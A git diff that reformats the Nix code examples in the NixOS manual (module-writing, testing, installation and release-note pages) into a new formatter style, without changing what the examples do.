         <link xlink:href="https://example.com/docs/foo"/>
@@ -528,7 +535,9 @@ in {
 
     # We know that the `user` attribute exists because we set a default value
     # for it above, allowing us to use it without worries here
-    users.users.${cfg.settings.user} = { isSystemUser = true; };
+    users.users.${cfg.settings.user} = {
+      isSystemUser = true;
+    };
 
     # ...
   };
@@ -567,7 +576,7 @@ up in the manual.
       };
 
     };
-    default = {};
+    default = { };
     description = ''
       Configuration for Foo, see
       <link xlink:href="https://example.com/docs/foo"/>
diff --git a/nixos/doc/manual/development/writing-modules.chapter.md b/nixos/doc/manual/development/writing-modules.chapter.md
index 4b1be6520ef8..a58ebb1709ab 100644
--- a/nixos/doc/manual/development/writing-modules.chapter.md
+++ b/nixos/doc/manual/development/writing-modules.chapter.md
@@ -28,7 +28,8 @@ NixOS modules:
 ```nix
 { config, pkgs, ... }:
 
-{ # option definitions
+{
+  # option definitions
 }
 ```
 
@@ -42,9 +43,9 @@ is shown in [Example: Structure of NixOS Modules](#ex-module-syntax).
 { config, pkgs, ... }:
 
 {
-  imports =
-    [ # paths of other modules
-    ];
+  imports = [
+    # paths of other modules
+  ];
 
   options = {
     # option declarations
@@ -102,12 +103,24 @@ functions system environment substitution should *not* be disabled explicitly.
 ::: {#locate-example .example}
 ### NixOS Module for the "locate" Service
 ```nix
-{ config, lib, pkgs, ... }:
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
 
 let
-  inherit (lib) concatStringsSep mkIf mkOption optionalString types;
+  inherit (lib)
+    concatStringsSep
+    mkIf
+    mkOption
+    optionalString
+    types
+    ;
   cfg = config.services.locate;
-in {
+in
+{
   options.services.locate = {
     enable = mkOption {
       type = types.bool;
@@ -135,26 +148,25 @@ in {
   };
 
   config = {
-    systemd.services.update-locatedb =
-      { description = "Update Locate Database";
-        path  = [ pkgs.su ];
-        script =
-          ''
-            mkdir -p $(dirname ${toString cfg.output})
-            chmod 0755 $(dirname ${toString cfg.output})
-            exec updatedb \
-              --localuser=${cfg.localuser} \
-              ${optionalString (!cfg.includeStore) "--prunepaths='/nix/store'"} \
-              --output=${toString cfg.output} ${concatStringsSep " " cfg.extraFlags}
-          '';
-      };
+    systemd.services.update-locatedb = {
+      description = "Update Locate Database";
+      path = [ pkgs.su ];
+      script = ''
+        mkdir -p $(dirname ${toString cfg.output})
+        chmod 0755 $(dirname ${toString cfg.output})
+        exec updatedb \
+          --localuser=${cfg.localuser} \
+          ${optionalString (!cfg.includeStore) "--prunepaths='/nix/store'"} \
+          --output=${toString cfg.output} ${concatStringsSep " " cfg.extraFlags}
+      '';
+    };
 
-    systemd.timers.update-locatedb = mkIf cfg.enable
-      { description = "Update timer for locate database";
-        partOf      = [ "update-locatedb.service" ];
-        wantedBy    = [ "timers.target" ];
-        timerConfig.OnCalendar = cfg.interval;
-      };
+    systemd.timers.update-locatedb = mkIf cfg.enable {
+      description = "Update timer for locate database";
+      partOf = [ "update-locatedb.service" ];
+      wantedBy = [ "timers.target" ];
+      timerConfig.OnCalendar = cfg.interval;
+    };
   };
 }
 ```
@@ -163,7 +175,12 @@ in {
 ::: {#exec-escaping-example .example}
 ### Escaping in Exec directives
 ```nix
-{ config, pkgs, utils, ... }:
+{
+  config,
+  pkgs,
+  utils,
+  ...
+}:
 
 let
   cfg = config.services.echo;
@@ -173,16 +190,22 @@ let
       printf '%s\n' "$s"
     done
   '';
-  args = [ "a%Nything" "lang=\${LANG}" ";" "/bin/sh -c date" ];
-in {
-  systemd.services.echo =
-    { description = "Echo to the journal";
-      wantedBy = [ "multi-user.target" ];
-      serviceConfig.Type = "oneshot";
-      serviceConfig.ExecStart = ''
-        ${echoAll} ${utils.escapeSystemdExecArgs args}
-      '';
-    };
+  args = [
+    "a%Nything"
+    "lang=\${LANG}"
+    ";"
+    "/bin/sh -c date"
+  ];
+in
+{
+  systemd.services.echo = {
+    description = "Echo to the journal";
+    wantedBy = [ "multi-user.target" ];
+    serviceConfig.Type = "oneshot";
+    serviceConfig.ExecStart = ''
+      ${echoAll} ${utils.escapeSystemdExecArgs args}
+    '';
+  };
 }
 ```
 :::
diff --git a/nixos/doc/manual/development/writing-nixos-tests.section.md b/nixos/doc/manual/development/writing-nixos-tests.section.md
index 5b08975e5ea4..9d07b9a9afcb 100644
--- a/nixos/doc/manual/development/writing-nixos-tests.section.md
+++ b/nixos/doc/manual/development/writing-nixos-tests.section.md
@@ -6,18 +6,23 @@ A NixOS test is a module that has the following structure:
 {
 
   # One or more machines:
-  nodes =
-    { machine =
-        { config, pkgs, ... }: { /* ... */ };
-      machine2 =
-        { config, pkgs, ... }: { /* ... */ };
-      # …
-    };
+  nodes = {
+    machine =
+      { config, pkgs, ... }:
+      {
+        # ...
+      };
+    machine2 =
+      { config, pkgs, ... }:
+      {
+        # ...
+      };
+    # …
+  };
 
-  testScript =
-    ''
-      Python code…
-    '';
+  testScript = ''
+    Python code…
+  '';
 }
 ```
 
@@ -46,9 +51,7 @@ Tests are invoked differently depending on whether the test is part of NixOS or
 Tests that are part of NixOS are added to [`nixos/tests/all-tests.nix`](https://github.com/NixOS/nixpkgs/blob/master/nixos/tests/all-tests.nix).
 
 ```nix
-{
-  hostname = runTest ./hostname.nix;
-}
+{ hostname = runTest ./hostname.nix; }
 ```
 
 Overrides can be added by defining an anonymous module in `all-tests.nix`.
@@ -75,9 +78,10 @@ Outside the `nixpkgs` repository, you can use the `runNixOSTest` function from
 `pkgs.testers`:
 
 ```nix
-let pkgs = import <nixpkgs> {};
-in
+let
+  pkgs = import <nixpkgs> { };
 
+in
 pkgs.testers.runNixOSTest {
   imports = [ ./test.nix ];
   defaults.services.foo.package = mypkg;
@@ -166,13 +170,13 @@ For faster dev cycles it's also possible to disable the code-linters
   skipLint = true;
   nodes.machine =
     { config, pkgs, ... }:
-    { # configuration…
+    {
+      # configuration…
     };
 
-  testScript =
-    ''
-      Python code…
-    '';
+  testScript = ''
+    Python code…
+  '';
 }
 ```
 
@@ -183,12 +187,11 @@ repository):
 
 ```nix
 {
-  testScript =
-    ''
-      # fmt: off
-      Python code…
-      # fmt: on
-    '';
+  testScript = ''
+    # fmt: off
+    Python code…
+    # fmt: on
+  '';
 }
 ```
 
@@ -200,7 +203,8 @@ way:
   skipTypeCheck = true;
   nodes.machine =
     { config, pkgs, ... }:
-    { # configuration…
+    {
+      # configuration…
     };
 }
 ```
diff --git a/nixos/doc/manual/installation/building-images-via-systemd-repart.chapter.md b/nixos/doc/manual/installation/building-images-via-systemd-repart.chapter.md
index 5a552a54f531..a10c3dc36709 100644
--- a/nixos/doc/manual/installation/building-images-via-systemd-repart.chapter.md
+++ b/nixos/doc/manual/installation/building-images-via-systemd-repart.chapter.md
@@ -9,7 +9,8 @@ images and exposes it's entire interface via the `repartConfig` option.
 An example of how to build an image:
 
 ```nix
-{ config, modulesPath, ... }: {
+{ config, modulesPath, ... }:
+{
 
   imports = [ "${modulesPath}/image/repart.nix" ];
 
@@ -88,43 +89,52 @@ let
   efiArch = pkgs.stdenv.hostPlatform.efiArch;
 in
 (pkgs.nixos [
-  ({ config, lib, pkgs, modulesPath, ... }: {
+  (
+    {
+      config,
+      lib,
+      pkgs,
+      modulesPath,
+      ...
+    }:
+    {
 
-    imports = [ "${modulesPath}/image/repart.nix" ];
+      imports = [ "${modulesPath}/image/repart.nix" ];
 
-    boot.loader.grub.enable = false;
+      boot.loader.grub.enable = false;
 
-    fileSystems."/".device = "/dev/disk/by-label/nixos";
+      fileSystems."/".device = "/dev/disk/by-label/nixos";
 
-    image.repart = {
-      name = "image";
-      partitions = {
-        "esp" = {
-          contents = {
-            "/EFI/BOOT/BOOT${lib.toUpper efiArch}.EFI".source =
-              "${pkgs.systemd}/lib/systemd/boot/efi/systemd-boot${efiArch}.efi";
+      image.repart = {
+        name = "image";
+        partitions = {
+          "esp" = {
+            contents = {
+              "/EFI/BOOT/BOOT${lib.toUpper efiArch}.EFI".source =
+                "${pkgs.systemd}/lib/systemd/boot/efi/systemd-boot${efiArch}.efi";
 
-            "/EFI/Linux/${config.system.boot.loader.ukiFile}".source =
-              "${config.system.build.uki}/${config.system.boot.loader.ukiFile}";
+              "/EFI/Linux/${config.system.boot.loader.ukiFile}".source =
+                "${config.system.build.uki}/${config.system.boot.loader.ukiFile}";
+            };
+            repartConfig = {
+              Type = "esp";
+              Format = "vfat";
+              SizeMinBytes = "96M";
+            };
           };
-          repartConfig = {
-            Type = "esp";
-            Format = "vfat";
-            SizeMinBytes = "96M";
-          };
-        };
-        "root" = {
-          storePaths = [ config.system.build.toplevel ];
-          repartConfig = {
-            Type = "root";
-            Format = "ext4";
-            Label = "nixos";
-            Minimize = "guess";
+          "root" = {
+            storePaths = [ config.system.build.toplevel ];
+            repartConfig = {
+              Type = "root";
+              Format = "ext4";
+              Label = "nixos";
+              Minimize = "guess";
+            };
           };
         };
       };
-    };
 
-  })
+    }
+  )
 ]).image
 ```
diff --git a/nixos/doc/manual/installation/building-nixos.chapter.md b/nixos/doc/manual/installation/building-nixos.chapter.md
index 2b4dba57c10f..7e6331b82ff9 100644
--- a/nixos/doc/manual/installation/building-nixos.chapter.md
+++ b/nixos/doc/manual/installation/building-nixos.chapter.md
@@ -48,7 +48,10 @@ file at `modules/installer/cd-dvd/installation-cd-graphical-gnome-macbook.nix`:
 
   boot.initrd.kernelModules = [ "wl" ];
 
-  boot.kernelModules = [ "kvm-intel" "wl" ];
+  boot.kernelModules = [
+    "kvm-intel"
+    "wl"
+  ];
   boot.extraModulePackages = [ config.boot.kernelPackages.broadcom_sta ];
 }
 ```
diff --git a/nixos/doc/manual/installation/changing-config.chapter.md b/nixos/doc/manual/installation/changing-config.chapter.md
index 07a0074d17e7..6e44794a7062 100644
--- a/nixos/doc/manual/installation/changing-config.chapter.md
+++ b/nixos/doc/manual/installation/changing-config.chapter.md
@@ -87,9 +87,7 @@ set `mutableUsers = false`. Another way is to temporarily add the
 following to your configuration:
 
 ```nix
-{
-  users.users.your-user.initialHashedPassword = "test";
-}
+{ users.users.your-user.initialHashedPassword = "test"; }
 ```
 
 *Important:* delete the \$hostname.qcow2 file if you have started the
diff --git a/nixos/doc/manual/installation/installing-from-other-distro.section.md b/nixos/doc/manual/installation/installing-from-other-distro.section.md
index b470c5736f71..134192fa425b 100644
--- a/nixos/doc/manual/installation/installing-from-other-distro.section.md
+++ b/nixos/doc/manual/installation/installing-from-other-distro.section.md
@@ -180,9 +180,7 @@ The first steps to all these are the same:
     `sudo passwd -l root` if you use `sudo`)
 
     ```nix
-    {
-      users.users.root.initialHashedPassword = "";
-    }
+    { users.users.root.initialHashedPassword = ""; }
     ```
 
 1.  Build the NixOS closure and install it in the `system` profile:
diff --git a/nixos/doc/manual/installation/installing-kexec.section.md b/nixos/doc/manual/installation/installing-kexec.section.md
index 61d8e8e5999b..9da4ea580882 100644
--- a/nixos/doc/manual/installation/installing-kexec.section.md
+++ b/nixos/doc/manual/installation/installing-kexec.section.md
@@ -41,15 +41,12 @@ In case you want to describe your own system closure to kexec into, instead of
 the default installer image, you can build your own `configuration.nix`:
 
 ```nix
-{ modulesPath, ... }: {
-  imports = [
-    (modulesPath + "/installer/netboot/netboot-minimal.nix")
-  ];
+{ modulesPath, ... }:
+{
+  imports = [ (modulesPath + "/installer/netboot/netboot-minimal.nix") ];
 
   services.openssh.enable = true;
-  users.users.root.openssh.authorizedKeys.keys = [
-    "my-ssh-pubkey"
-  ];
+  users.users.root.openssh.authorizedKeys.keys = [ "my-ssh-pubkey" ];
 }
 ```
 
diff --git a/nixos/doc/manual/installation/installing-virtualbox-guest.section.md b/nixos/doc/manual/installation/installing-virtualbox-guest.section.md
index 19713761e9a0..99574b22622b 100644
--- a/nixos/doc/manual/installation/installing-virtualbox-guest.section.md
+++ b/nixos/doc/manual/installation/installing-virtualbox-guest.section.md
@@ -27,18 +27,14 @@ There are a few modifications you should make in configuration.nix.
 Enable booting:
 
 ```nix
-{
-  boot.loader.grub.device = "/dev/sda";
-}
+{ boot.loader.grub.device = "/dev/sda"; }
 ```
 
 Also remove the fsck that runs at startup. It will always fail to run,
 stopping your boot until you press `*`.
 
 ```nix
-{
-  boot.initrd.checkJournalingFS = false;
-}
+{ boot.initrd.checkJournalingFS = false; }
 ```
 
 Shared folders can be given a name and a path in the host system in the
@@ -48,12 +44,15 @@ the "Add" icon). Add the following to the
 `"nofail"`, the system will not boot properly.
 
 ```nix
-{ config, pkgs, ...} :
+{ config, pkgs, ... }:
 {
   fileSystems."/virtualboxshare" = {
     fsType = "vboxsf";
     device = "nameofthesharedfolder";
-    options = [ "rw" "nofail" ];
+    options = [
+      "rw"
+      "nofail"
+    ];
   };
 }
 ```
diff --git a/nixos/doc/manual/installation/upgrading.chapter.md b/nixos/doc/manual/installation/upgrading.chapter.md
index 91fd5f90cc46..3199ea3c34b7 100644
--- a/nixos/doc/manual/installation/upgrading.chapter.md
+++ b/nixos/doc/manual/installation/upgrading.chapter.md
@@ -116,7 +116,5 @@ the new generation contains a different kernel, initrd or kernel
 modules. You can also specify a channel explicitly, e.g.
 
 ```nix
-{
-  system.autoUpgrade.channel = "https://channels.nixos.org/nixos-25.05";
-}
+{ system.autoUpgrade.channel = "https://channels.nixos.org/nixos-25.05"; }
 ```
diff --git a/nixos/doc/manual/release-notes/rl-1404.section.md b/nixos/doc/manual/release-notes/rl-1404.section.md
index e0a70df3a634..ae88f02747f8 100644
--- a/nixos/doc/manual/release-notes/rl-1404.section.md
+++ b/nixos/doc/manual/release-notes/rl-1404.section.md
@@ -23,9 +23,7 @@ This is the second stable release branch of NixOS. In addition to numerous new a
 - Systemd units provided by packages can now be overridden from the NixOS configuration. For instance, if a package `foo` provides systemd units, you can say:
 
   ```nix
-  {
-    systemd.packages = [ pkgs.foo ];
-  }
+  { systemd.packages = [ pkgs.foo ]; }
   ```
 
   to enable those units. You can then set or override unit options in the usual way, e.g.
@@ -42,9 +40,7 @@ This is the second stable release branch of NixOS. In addition to numerous new a
 - Nixpkgs no longer exposes unfree packages by default. If your NixOS configuration requires unfree packages from Nixpkgs, you need to enable support for them explicitly by setting:
 
   ```nix
-  {
-    nixpkgs.config.allowUnfree = true;
-  }
+  { nixpkgs.config.allowUnfree = true; }
   ```
 
   Otherwise, you get an error message such as:
@@ -67,9 +63,7 @@ This is the second stable release branch of NixOS. In addition to numerous new a
 - The firewall is now enabled by default. If you don't want this, you need to disable it explicitly:
 
   ```nix
-  {
-    networking.firewall.enable = false;
-  }
+  { networking.firewall.enable = false; }
   ```
 
 - The option `boot.loader.grub.memtest86` has been renamed to `boot.loader.grub.memtest86.enable`.
diff --git a/nixos/doc/manual/release-notes/rl-1412.section.md b/nixos/doc/manual/release-notes/rl-1412.section.md
index 683f1e45f092..db32c6fed304 100644
--- a/nixos/doc/manual/release-notes/rl-1412.section.md
+++ b/nixos/doc/manual/release-notes/rl-1412.section.md
@@ -143,9 +143,7 @@ When upgrading from a previous release, please be aware of the following incompa
 - The default version of Apache httpd is now 2.4. If you use the `extraConfig` option to pass literal Apache configuration text, you may need to update it --- see [Apache's documentation](http://httpd.apache.org/docs/2.4/upgrading.html) for details. If you wish to continue to use httpd 2.2, add the following line to your NixOS configuration:
 
   ```nix
-  {
-    services.httpd.package = pkgs.apacheHttpd_2_2;
-  }
+  { services.httpd.package = pkgs.apacheHttpd_2_2; }
   ```
 
 - PHP 5.3 has been removed because it is no longer supported by the PHP project. A [migration guide](http://php.net/migration54) is available.
diff --git a/nixos/doc/manual/release-notes/rl-1509.section.md b/nixos/doc/manual/release-notes/rl-1509.section.md
index c2ac89a09518..3982f2112f06 100644
--- a/nixos/doc/manual/release-notes/rl-1509.section.md
+++ b/nixos/doc/manual/release-notes/rl-1509.section.md
@@ -9,9 +9,7 @@ In addition to numerous new and upgraded packages, this release has the followin
 - You can now keep your NixOS system up to date automatically by setting
 
 ```nix
-{
-  system.autoUpgrade.enable = true;
-}
+{ system.autoUpgrade.enable = true; }
 ```
 
 This will cause the system to periodically check for updates in your current channel and run `nixos-rebuild`.
@@ -167,9 +165,7 @@ When upgrading from a previous release, please be aware of the following incompa
 - `sshd` no longer supports DSA and ECDSA host keys by default. If you have existing systems with such host keys and want to continue to use them, please set
 
 ```nix
-{
-  system.stateVersion = "14.12";
-}
+{ system.stateVersion = "14.12"; }
 ```
 
 The new option `system.stateVersion` ensures that certain configuration changes that could break existing systems (such as the `sshd` host key setting) will maintain compatibility with the specified NixOS release. NixOps sets the state version of existing deployments automatically.
@@ -253,24 +249,37 @@ Installing Haskell _libraries_ this way, however, is no longer supported. See th
 
   {
     options = {
-      foo = mkOption { /* … */ };
+      foo = mkOption {
+        # …
+      };
+    };
+    config = mkIf config.foo {
+      # …
     };
-    config = mkIf config.foo { /* … */ };
   }
   ```
 
   should be modified to look like:
 
   ```nix
-  { config, pkgs, lib, ... }:
+  {
+    config,
+    pkgs,
+    lib,
+    ...
+  }:
 
   with lib;
 
   {
     options = {
-      foo = mkOption { /* option declaration */ };
+      foo = mkOption {
+        # option declaration
+      };
+    };
+    config = mkIf config.foo {
+      # option definition
     };
-    config = mkIf config.foo { /* option definition */ };
   }
   ```
 
@@ -284,8 +293,8 @@ Installing Haskell _libraries_ this way, however, is no longer supported. See th
       src = url;
       sha256 = hash;
     };
-  in
 
+  in
   {
     imports = [ "${myProject}/module.nix" ];
   }
@@ -297,12 +306,12 @@ Installing Haskell _libraries_ this way, however, is no longer supported. See th
   { config, pkgs, ... }:
 
   let
-    myProject = (import <nixpkgs> {}).fetchurl {
+    myProject = (import <nixpkgs> { }).fetchurl {
       src = url;
       sha256 = hash;
     };
-  in
 
+  in
   {
     imports = [ "${myProject}/module.nix" ];
   }
diff --git a/nixos/doc/manual/release-notes/rl-1603.section.md b/nixos/doc/manual/release-notes/rl-1603.section.md
index 532a16f937b0..ffc08fc96241 100644
--- a/nixos/doc/manual/release-notes/rl-1603.section.md
+++ b/nixos/doc/manual/release-notes/rl-1603.section.md
@@ -137,9 +137,7 @@ When upgrading from a previous release, please be aware of the following incompa
 - Gitit is no longer automatically added to the module list in NixOS and as such there will not be any manual entries for it. You will need to add an import statement to your NixOS configuration in order to use it, e.g.
 
   ```nix
-  {
-    imports = [ <nixpkgs/nixos/modules/services/misc/gitit.nix> ];
-  }
+  { imports = [ <nixpkgs/nixos/modules/services/misc/gitit.nix> ]; }
   ```
 
   will include the Gitit service configuration options.
@@ -148,7 +146,11 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   nginx.override {
-    modules = [ nginxModules.rtmp nginxModules.dav nginxModules.moreheaders ];
+    modules = [
+      nginxModules.rtmp
+      nginxModules.dav
+      nginxModules.moreheaders
+    ];
   }
   ```
 
@@ -173,7 +175,12 @@ When upgrading from a previous release, please be aware of the following incompa
     fileSystems."/example" = {
       device = "/dev/sdc";
       fsType = "btrfs";
-      options = [ "noatime" "compress=lzo" "space_cache" "autodefrag" ];
+      options = [
+        "noatime"
+        "compress=lzo"
+        "space_cache"
+        "autodefrag"
+      ];
     };
   }
   ```
@@ -189,7 +196,10 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     i18n.inputMethod.enabled = "ibus";
-    i18n.inputMethod.ibus.engines = with pkgs.ibus-engines; [ anthy mozc ];
+    i18n.inputMethod.ibus.engines = with pkgs.ibus-engines; [
+      anthy
+      mozc
+    ];
   }
   ```
 
@@ -198,7 +208,10 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     programs.ibus.enable = true;
-    programs.ibus.plugins = with pkgs; [ ibus-anthy mozc ];
+    programs.ibus.plugins = with pkgs; [
+      ibus-anthy
+      mozc
+    ];
   }
   ```
 
@@ -229,9 +242,9 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     services.syncthing = {
-        enable = true;
-        dataDir = "/home/somebody/.syncthing";
-        user = "somebody";
+      enable = true;
+      dataDir = "/home/somebody/.syncthing";
+      user = "somebody";
     };
   }
   ```
diff --git a/nixos/doc/manual/release-notes/rl-1609.section.md b/nixos/doc/manual/release-notes/rl-1609.section.md
index 0cbabf58ca03..aface0732c25 100644
--- a/nixos/doc/manual/release-notes/rl-1609.section.md
+++ b/nixos/doc/manual/release-notes/rl-1609.section.md
@@ -49,9 +49,7 @@ Other notable improvements:
 - Revamped grsecurity/PaX support. There is now only a single general-purpose distribution kernel and the configuration interface has been streamlined. Desktop users should be able to set
 
   ```nix
-  {
-    security.grsecurity.enable = true;
-  }
+  { security.grsecurity.enable = true; }
   ```
 
   to get a reasonably secure system without having to sacrifice too much functionality.
diff --git a/nixos/doc/manual/release-notes/rl-1703.section.md b/nixos/doc/manual/release-notes/rl-1703.section.md
index e20d84d306e8..3b757334b7be 100644
--- a/nixos/doc/manual/release-notes/rl-1703.section.md
+++ b/nixos/doc/manual/release-notes/rl-1703.section.md
@@ -244,18 +244,28 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   let
-    pkgs = import <nixpkgs> {};
+    pkgs = import <nixpkgs> { };
   in
-    pkgs.overridePackages (self: super: { /* ... */ })
+  pkgs.overridePackages (
+    self: super: {
+      # ...
+    }
+  )
   ```
 
   should be replaced by:
 
   ```nix
   let
-    pkgs = import <nixpkgs> {};
+    pkgs = import <nixpkgs> { };
   in
-    import pkgs.path { overlays = [(self: super: { /* ... */ })]; }
+  import pkgs.path {
+    overlays = [
+      (self: super: {
+        # ...
+      })
+    ];
+  }
   ```
 
 - Autoloading connection tracking helpers is now disabled by default. This default was also changed in the Linux kernel and is considered insecure if not configured properly in your firewall. If you need connection tracking helpers (i.e. for active FTP) please enable `networking.firewall.autoLoadConntrackHelpers` and tune `networking.firewall.connectionTrackingModules` to suit your needs.
diff --git a/nixos/doc/manual/release-notes/rl-1709.section.md b/nixos/doc/manual/release-notes/rl-1709.section.md
index f2ff8b46b83f..5895af018982 100644
--- a/nixos/doc/manual/release-notes/rl-1709.section.md
+++ b/nixos/doc/manual/release-notes/rl-1709.section.md
@@ -11,7 +11,8 @@ In addition to numerous new and upgraded packages, this release has the followin
 - The module option `services.xserver.xrandrHeads` now causes the first head specified in this list to be set as the primary head. Apart from that, it's now possible to also set additional options by using an attribute set, for example:
 
   ```nix
-  { services.xserver.xrandrHeads = [
+  {
+    services.xserver.xrandrHeads = [
       "HDMI-0"
       {
         output = "DVI-0";
diff --git a/nixos/doc/manual/release-notes/rl-1803.section.md b/nixos/doc/manual/release-notes/rl-1803.section.md
index ecf5757bae6c..7038b5ebd254 100644
--- a/nixos/doc/manual/release-notes/rl-1803.section.md
+++ b/nixos/doc/manual/release-notes/rl-1803.section.md
@@ -267,8 +267,10 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     services.xserver.displayManager.lightdm.greeters.gtk.indicators = [
-      "~host" "~spacer"
-      "~clock" "~spacer"
+      "~host"
+      "~spacer"
+      "~clock"
+      "~spacer"
       "~session"
       "~language"
       "~a11y"
diff --git a/nixos/doc/manual/release-notes/rl-1809.section.md b/nixos/doc/manual/release-notes/rl-1809.section.md
index 71afc71d5a89..efaf86720a0e 100644
--- a/nixos/doc/manual/release-notes/rl-1809.section.md
+++ b/nixos/doc/manual/release-notes/rl-1809.section.md
@@ -248,10 +248,16 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   {
-    inherit (pkgs.nixos {
-      boot.loader.grub.enable = false;
-      fileSystems."/".device = "/dev/xvda1";
-    }) toplevel kernel initialRamdisk manual;
+    inherit
+      (pkgs.nixos {
+        boot.loader.grub.enable = false;
+        fileSystems."/".device = "/dev/xvda1";
+      })
+      toplevel
+      kernel
+      initialRamdisk
+      manual
+      ;
   }
   ```
 
@@ -290,7 +296,7 @@ When upgrading from a previous release, please be aware of the following incompa
   { config, ... }:
 
   {
-    security.dhparams.params.myservice = {};
+    security.dhparams.params.myservice = { };
     environment.etc."myservice.conf".text = ''
       dhparams = ${config.security.dhparams.params.myservice.path}
     '';
diff --git a/nixos/doc/manual/release-notes/rl-1903.section.md b/nixos/doc/manual/release-notes/rl-1903.section.md
index e83a3911a5cf..d94303fd3f46 100644
--- a/nixos/doc/manual/release-notes/rl-1903.section.md
+++ b/nixos/doc/manual/release-notes/rl-1903.section.md
@@ -97,36 +97,35 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   {
-    services.nscd.config =
-    ''
-    server-user             nscd
-    threads                 1
-    paranoia                no
-    debug-level             0
+    services.nscd.config = ''
+      server-user             nscd
+      threads                 1
+      paranoia                no
+      debug-level             0
 
-    enable-cache            passwd          yes
-    positive-time-to-live   passwd          600
-    negative-time-to-live   passwd          20
-    suggested-size          passwd          211
-    check-files             passwd          yes
-    persistent              passwd          no
-    shared                  passwd          yes
+      enable-cache            passwd          yes
+      positive-time-to-live   passwd          600
+      negative-time-to-live   passwd          20
+      suggested-size          passwd          211
+      check-files             passwd          yes
+      persistent              passwd          no
+      shared                  passwd          yes
 
-    enable-cache            group           yes
-    positive-time-to-live   group           3600
-    negative-time-to-live   group           60
-    suggested-size          group           211
-    check-files             group           yes
-    persistent              group           no
-    shared                  group           yes
+      enable-cache            group           yes
+      positive-time-to-live   group           3600
+      negative-time-to-live   group           60
+      suggested-size          group           211
+      check-files             group           yes
+      persistent              group           no
+      shared                  group           yes
 
-    enable-cache            hosts           yes
-    positive-time-to-live   hosts           600
-    negative-time-to-live   hosts           5
-    suggested-size          hosts           211
-    check-files             hosts           yes
-    persistent              hosts           no
-    shared                  hosts           yes
+      enable-cache            hosts           yes
+      positive-time-to-live   hosts           600
+      negative-time-to-live   hosts           5
+      suggested-size          hosts           211
+      check-files             hosts           yes
+      persistent              hosts           no
+      shared                  hosts           yes
     '';
   }
   ```
diff --git a/nixos/doc/manual/release-notes/rl-2003.section.md b/nixos/doc/manual/release-notes/rl-2003.section.md
index 695f8a2c95ca..68ccc44cce7a 100644
--- a/nixos/doc/manual/release-notes/rl-2003.section.md
+++ b/nixos/doc/manual/release-notes/rl-2003.section.md
@@ -56,9 +56,7 @@ In addition to numerous new and upgraded packages, this release has the followin
   you should change it to:
 
   ```nix
-  {
-    services.xserver.displayManager.defaultSession = "xfce+icewm";
-  }
+  { services.xserver.displayManager.defaultSession = "xfce+icewm"; }
   ```
 
 - The testing driver implementation in NixOS is now in Python `make-test-python.nix`. This was done by Jacek Galowicz ([\@tfc](https://github.com/tfc)), and with the collaboration of Julian Stecklina ([\@blitz](https://github.com/blitz)) and Jana Traue ([\@jtraue](https://github.com/jtraue)). All documentation has been updated to use this testing driver, and a vast majority of the 286 tests in NixOS were ported to python driver. In 20.09 the Perl driver implementation, `make-test.nix`, is slated for removal. This should give users of the NixOS integration framework a transitory period to rewrite their tests to use the Python implementation. Users of the Perl driver will see this warning everytime they use it:
@@ -263,12 +261,13 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   {
-    users.users =
-      [ { name = "me";
-          description = "My personal user.";
-          isNormalUser = true;
-        }
-      ];
+    users.users = [
+      {
+        name = "me";
+        description = "My personal user.";
+        isNormalUser = true;
+      }
+    ];
   }
   ```
 
@@ -276,10 +275,10 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   {
-    users.users.me =
-      { description = "My personal user.";
-        isNormalUser = true;
-      };
+    users.users.me = {
+      description = "My personal user.";
+      isNormalUser = true;
+    };
   }
   ```
 
@@ -306,15 +305,15 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     security.pam.services.lightdm-autologin.text = lib.mkForce ''
-        auth     requisite pam_nologin.so
-        auth     required  pam_succeed_if.so quiet
-        auth     required  pam_permit.so
+      auth     requisite pam_nologin.so
+      auth     required  pam_succeed_if.so quiet
+      auth     required  pam_permit.so
 
-        account  include   lightdm
+      account  include   lightdm
 
-        password include   lightdm
+      password include   lightdm
 
-        session  include   lightdm
+      session  include   lightdm
     '';
   }
   ```
@@ -368,7 +367,9 @@ When upgrading from a previous release, please be aware of the following incompa
     services.dnscrypt-proxy2.settings = {
       listen_addresses = [ "127.0.0.1:43" ];
       sources.public-resolvers = {
-        urls = [ "https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md" ];
+        urls = [
+          "https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md"
+        ];
         cache_file = "public-resolvers.md";
         minisign_key = "RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3";
         refresh_delay = 72;
@@ -417,7 +418,8 @@ When upgrading from a previous release, please be aware of the following incompa
   - At first, an older version of Hydra needs to be deployed which adds those (nullable) columns. When having set [stateVersion ](options.html#opt-system.stateVersion) to a value older than `20.03`, this package will be selected by default from the module when upgrading. Otherwise, the package can be deployed using the following config:
 
     ```nix
-    { pkgs, ... }: {
+    { pkgs, ... }:
+    {
       services.hydra.package = pkgs.hydra-migration;
     }
     ```
@@ -455,7 +457,11 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   {
-    services.nginx.appendConfig = let cfg = config.services.nginx; in ''user ${cfg.user} ${cfg.group};'';
+    services.nginx.appendConfig =
+      let
+        cfg = config.services.nginx;
+      in
+      "user ${cfg.user} ${cfg.group};";
     systemd.services.nginx.serviceConfig.User = lib.mkForce "root";
   }
   ```
@@ -485,10 +491,11 @@ When upgrading from a previous release, please be aware of the following incompa
   - If you use `postgresql` and configured your synapse initially on `19.09` or older, you need to enable postgresql-support explicitly:
 
     ```nix
-    { ... }: {
+    { ... }:
+    {
       services.matrix-synapse = {
         enable = true;
-        /* and all the other config you've defined here */
+        # and all the other config you've defined here
       };
       services.postgresql.enable = true;
     }
diff --git a/nixos/doc/manual/release-notes/rl-2009.section.md b/nixos/doc/manual/release-notes/rl-2009.section.md
index d128696b2570..cfcaaed390c0 100644
--- a/nixos/doc/manual/release-notes/rl-2009.section.md
